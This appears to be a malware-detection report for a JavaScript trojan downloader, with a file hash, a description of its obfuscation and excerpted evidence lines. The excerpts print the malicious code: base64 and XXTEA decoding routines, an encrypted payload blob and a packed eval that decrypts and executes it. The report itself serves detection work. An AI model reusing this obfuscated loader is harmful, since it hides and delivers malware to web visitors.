Trojan-Downloader.JS.Agent.byy
Obfuscated eval decodes payload for downloader
Packer obfuscation (eval with replace)Custom b64 decoding loop w/ bitwise operations
SHA-25623afedbd9d2e38b0edd2425698a562d361ef470ad50be2e01a6d0a397a8031b7
MaleculeO₂(As₃Xe)H₂(Db₃Po)Md
Evidence
6:23… {var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4)
7{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode((( …
7:314… <12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break;}}
8return out.join('');}
9var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1, …
13:16… eChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)
14break;do
15{c2=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)
16break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do
17{c3=str.charCodeAt(i++)&0xff;if(c3==61)
18return out;c3=base64DecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)
19break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do
20{c4=str.charCod …
34:83… ;sum=sum-delta&0xffffffff;}
35return long2str(v,true);}
36t="1c2vbj0tXYWNitwt7gjIjPcHrbDTtryiD1mUL7as50w445rtkagl1ND7DyBjH+U67n+QjtHnGYGwe5Ias++X8rHBuwxbal2IfLVNwXw9cDJyZJA+lBMTe8PJICO9aOk/T6dxzRvKI0FS33Fz7VnNzI21pqYxhRz57mEzxbapi4eKz8xfL4pKIhSkNPmYNYW4AfbwaEVAq9jQl/Ih5h/v8YWccXeF//RYkR+D1lFh2YOllFzwGBDZVCRNdnOB4oZDn9OxsuKKZgyr7AzJPkCA1LXjpzFRipTok2/28R5/C97/ZkTzv5wSupcxJgdHl/P0cujpvqPWv203FLCTcckBd+CZ3bgSyXrlXujlE0nRw5iP/4UkNV5ftSBwrgYxCzldsnCKURH1Qi3pX389xM/5L8BauhK/WPFlpr1E9sMMQihxDwC3Hiabt3/Scnt1HcAgkueRdrY+C1vxvBErOSNjoVS3tmzkvIK8fG7wjTum+7bbhB3Pv5aWJre1XDNg+xtvjuHLgZ70UUWiQZwa1fFAAqgfaBPiH95zhSsaWetCKP92RxVU6krdqfGvS2jnTCUacX …
36:2373… NSnRL85UqtHx4/m/hdyq2EMudoBU0W/KgPqozCElET8Xau44aYRCE14XQ6a9QtSkQLXo4o4kSpLagjYp7mDpA==";
37eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0=4(5(3(0),\'\\2\\1\\6\\d\\7\'));c["\\b\\a\\8\\9"](0);',14,14,'t|x75|x66|base64decode|utf8to16|xxtea_decrypt|x63|x31|x61|x6c|x76|x65|window|x6b'.split('|'),0,{}))
38/*Extreme*/
39</script> …